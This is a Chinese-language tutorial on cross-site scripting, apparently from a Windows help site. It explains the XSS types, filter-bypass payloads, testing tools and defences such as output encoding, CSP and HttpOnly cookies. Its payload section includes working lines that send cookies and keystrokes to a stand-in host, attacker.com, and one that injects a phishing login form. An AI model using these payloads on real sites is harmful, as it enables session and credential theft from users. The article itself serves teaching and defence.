Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> 電腦軟體教學 >> 電腦軟體介紹

XSS 跨站腳本攻擊完整指南:原理、分類、測試 Payload 與防禦對策

編輯:電腦軟體介紹

XSS(Cross-Site Scripting)是 OWASP Top 10 常年霸榜的 Web 漏洞。攻擊者注入惡意腳本,受害者瀏覽器執行後可竊取 Cookie、Session、鍵盤記錄、重導向釣魚頁、甚至植入鍵盤記錄器。本文系統整理反射型、儲存型、DOM 型三大分類、實戰 Payload、手工/工具測試流程與修補原則。

核心成因

應用程式未對使用者輸入進行嚴格驗證、過濾、編碼,直接將輸出內嵌入 HTML/JS/屬性/事件處理器等語境,導致瀏覽器將資料誤判為可執行程式碼。

三大分類與攻擊鏈

類型特徵攻擊流程影響範圍
反射型
(Reflected)
惡意腳本經 URL 參數/表單 → 伺服器直接回顯於回應頁面 → 受害者點擊惡意連結觸發構造惡意 URL → 誘騙受害者點擊(郵件/IM/社群) → 瀏覽器執行腳本單次、需互動、不可持久
儲存型
(Stored)
惡意腳本寫入資料庫(留言板/評論/暱稱/日誌) → 所有瀏覽該頁面者自動執行發布含 Payload 內容 → 管理員/用戶瀏覽頁面 → 自動觸發持久、傳播廣、危害最大
DOM 型
(DOM-based)
伺服器回應靜態頁面,客戶端 JS 讀取 location.hash/search/referrer 等來源 → document.write/innerHTML/eval 動態渲染 → 執行受害者瀏覽頁面 → 客戶端 JS 處理 URL 片段 → 觸發伺服器端無痕跡,WAF 難偵測

經典測試 Payload 集(含繞過變體)

基本驗證
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>

HTML 實體編碼繞過
<script>alert(1)</script>
%3Cscript%3Ealert(1)%3C%2Fscript%3E

大小寫/標籤嵌套繞過
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr<script>ipt>
<script x=1>alert(1)</script>

事件處理器注入(無 script 標籤)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video onloadstart=alert(1)>
<details open ontoggle=alert(1)>

JavaScript 協議/偽協議
<a href="javascript:alert(1)">click</a>
location.href="javascript:alert(1)"

竊取 Cookie 並外傳
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">

鍵盤記錄器
<script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>

釣魚表單注入
<div id=phish></div>
<script>document.getElementById('phish').innerHTML='<form action=https://attacker.com/phish>帳號:<input name=u>密碼:<input type=password name=p><button>登入</button></form>'</script>

手工測試流程(滲透測試標準動作)

  1. 識別輸入點:URL 參數、表單欄位、HTTP 標頭、Cookie、WebSocket 訊息、檔案上傳中繼資料。
  2. 提交基礎 Payload:`` 觀察是否彈窗/原始碼出現未編碼腳本。
  3. 語境分析:腳本出現在 HTML 體、屬性值、JS 字串、CSS、URL、註解?決定編碼/繞過策略。
  4. 嘗試變體繞過:大小寫、編碼、標籤嵌套、事件處理器、模板字面量、Unicode 正規化。
  5. 驗證執行:實際觸發 `alert/confirm/fetch/keylogger` 確認可執行任意 JS。
  6. 評估影響:可竊取 Cookie?可操作 DOM?可發起 CSRF?可植入 BeEF/Evilginx 控制瀏覽器?

工具輔助測試

  • Burp Suite:Proxy 攔截 → Repeater 修改參數 → Intruder 批量 Payload 測試 → Scanner 自動掃描。
  • XSStrike:自動偵測 WAF、語境分析、生成繞過 Payload(`pip install xsstrike`)。
  • DalFox:Go 寫的高速 XSS 掃描器,支援 DOM 型分析(`dalfox url https://target.com`)。
  • BeEF:Browser Exploitation Framework,掛載 Hook 後可遠控受害者瀏覽器演示真實危害。

修補與防禦原則(開發端必做)

  1. 輸出編碼:依語境套用正確編碼器(HTML Entity / JS String / CSS / URL / Attribute)。
    .NET: `HttpUtility.HtmlEncode` / `JavaScriptStringEncode`
    Java: `Encoder.encodeForHTML` / `encodeForJavaScript`
    PHP: `htmlspecialchars($str, ENT_QUOTES, 'UTF-8')`
    Python (Jinja2): `{{ var | e }}` / `escapejs`
  2. 輸入驗證:白名單制(型別、長度、格式、字元集),拒絕非預期輸入。
  3. Content Security Policy (CSP):
    `Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';`
    禁用 `inline-script`、`eval()`、`unsafe-inline`,徹底斷絕 XSS 執行路徑。
  4. HttpOnly + Secure + SameSite Cookie:
    `Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict`
    即使 XSS 成功也無法讀取 Session Cookie。
  5. 現代框架自動防護:React/Vue/Angular/Svelte 預設對插值進行語境感知編碼,僅在 `dangerouslySetInnerHTML` / `v-html` / `[innerHTML]` 等繞過 API 需人工審核。

驗證修補成效

  • 單元測試:各語境輸入 Payload → 斷言輸出為編碼後字串而非可執行標籤。
  • 整合測試:CI/CD 管線整合 DalFox/OWASP ZAP 掃描,阻擋含 XSS 的合併請求。
  • 滲透測試:定期委託紅隊/第三方實戰測試,驗證 CSP/編碼/框架防護實際生效。

XSS 雖老但永遠不會過時,因為每個新功能、新框架、新語境都可能引入新的注入面。開發者務必建立「不信任任何輸入、語境感知編碼、CSP 纵深防禦」的安全編碼文化。

Copyright © Windows教程網 All Rights Reserved